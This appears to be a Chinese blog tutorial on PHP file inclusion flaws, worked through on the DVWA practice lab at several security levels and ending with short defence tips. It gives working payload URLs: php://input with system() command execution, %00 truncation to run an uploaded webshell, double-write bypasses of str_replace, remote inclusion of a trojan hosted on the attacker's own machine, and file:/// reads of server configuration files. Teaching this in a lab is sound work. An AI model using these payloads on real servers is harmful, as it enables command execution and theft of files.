文件包含漏洞3

PHP包含读文件

这里我们用dvwa来玩一玩,找到文件包含测试,点击上面的 file1.php ,来到如下页面。
所以我们其实可以按照开发人员的思路来想,这个人开发的时候,这个功能是在干什么,我们看一下源码

这个代码能看出,他没有对 page 参数做任何的过滤处理。
接下来我们抓包来玩一下,将 page 参数的值改为如下内容:

然后我们去dvwa的目录下创建一个x.php文件,如果想读取当前目录的上一层目录还可以自己加 ../

 

然后通过burp的编码器来解码一下,看效果:

 

正是我们写的x.php文件里面的内容。

PHP包含写文件  

 写入文件内容,做命令执行动作,这种漏洞属于高危漏洞。

构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提
交post数据为:<?php system('net user');?>,这句话是利用php代码来执行操作系统指令,其实你执
行什么代码都可以,比如<?php system('netstat -an');?>
注意 : 只有在 allow _url_include on 的时候才可以使用 , 如果想查看回显结果那必须在 C:\php\php-
5.2.14-Win32 下找到 php-apache2handler.ini 打开,查找 display_funtions=proc
open,oppen,exec,system……. 删掉 system 重启 apache

包含截断绕过  

// 对于老手程序员,开发出来的代码可能会做一些安全限制,比如下面这种代码
<?php
 if(isset($_GET['page'])){
 include $_GET['page'] .".php" ; //这句代码的意思是,将用户传递过来的数据加上.php
后缀名,也就是我们只处理php文件
 }else{
 include 'home.php';
 }
?>
这种方法只适合于 magic_quotes_gpc=off 的时候, php 版本小于 5.3.4 ,可通过 %00 截断绕过,不过现
在已经很难见到了,比如: index.php?file=info.txt//………… 超过一定数据的 /
示例:比如还是我们的 123.php 文件,改动为上面的代码
并且注意这里面有个 webshell.jpg 文件,比如这个文件是我们上传上去的,我现在想执行以下它,于是我们在浏览器上访问了一下
发现报错了,并且自动在你指定的参数值后面加上了 .php 后缀,导致我们无法访问到 webshell.jpg 文件,那么怎么搞呢?通过%00 截断,直接将你代码后面添加的 .php 给干掉了。注意了,这个和 web 服务程序的%00 截断不太一样,那个是 web 服务程序自身的解析漏洞,这个是程序员代码漏洞

 

 str_replace函数绕过

这是一个替换数据的函数,而且只替换一次,所以有漏洞。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.0.103/phpinfo.txt时,str_replace函数会将http://删除,
于是page=http://192.168.0.103/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
1、本地文件包含,写多个../那么str_replace其实只替换一次,那么我们的相对路径还能生效
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././
xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/php
info.txt
用我们的 dvwa,然后将安全等级调为中危,那么各种漏洞的代码会自动发生变化
这个代码的作用: 1. 不能远程包含了,现在还没讲远程包含漏洞 2. ../ 等相对路径干掉了,这种情况如何突破呢?其实很简单。
比如我们就找这个文件
然后通过浏览器访问:
相对路径方式:
方式 1

方式2:我们访问不在当前目录的文件:我们把x.php放到这个目录中来

 

如下 , 也是可以的 , 如果你读取的是他源代码中的某些文件或者某些配置文件 , 我们需要编码一下 , 不然如果是php 文件 , 那么文件中的代码会执行 , 可能会看到代码执行过程中报错的问题 . 就利用上面我们讲过的php://协议来搞 .

远程包含路径方式 : 如果对方有这个远程包含漏洞 , 那么我们可以直接将我们自己某个服务器上的木马文件远程地址作为参数加入到这个远程包含漏洞中来执行
比如我们主机上的这个文件 :

加上我们主机的地址来访问:

 

再比如访问我们自己的webshell.jpg 

那么这里输入密码之后到底是进入到了目标主机还是我们自己的攻击主机呢 ?, 输入密码进去之后 , 你会发 现就是我们的目标主机. 所以远程包含漏洞很严重。

fnmatch函数绕过

 接下来将dvwa做一个高安全等级

通过查看源代码,我们发现了一个函数,叫做fnmatch,那么这个函数是做什么的呢?我们看下面

fnmatch函数是做正则匹配的.

if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不
是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
page=file:///C:/xampp/htdocs/dvwa/php.ini 刚好满足"file*"(文件名file开头)。注意,
file协议用的是三个反斜杠昂
构造url
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/p
hp.ini
成功读取了服务器的配置文件

 示例: 比如我们读取c盘下面的boot.ini文件:

 

那么,如果做才能保证安全呢?看dvwa,我们将安全级别调制impossible,没有漏洞的意思

看代码:直接使用的是不等于某个绝对名称

 文件包含漏洞的防御

1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值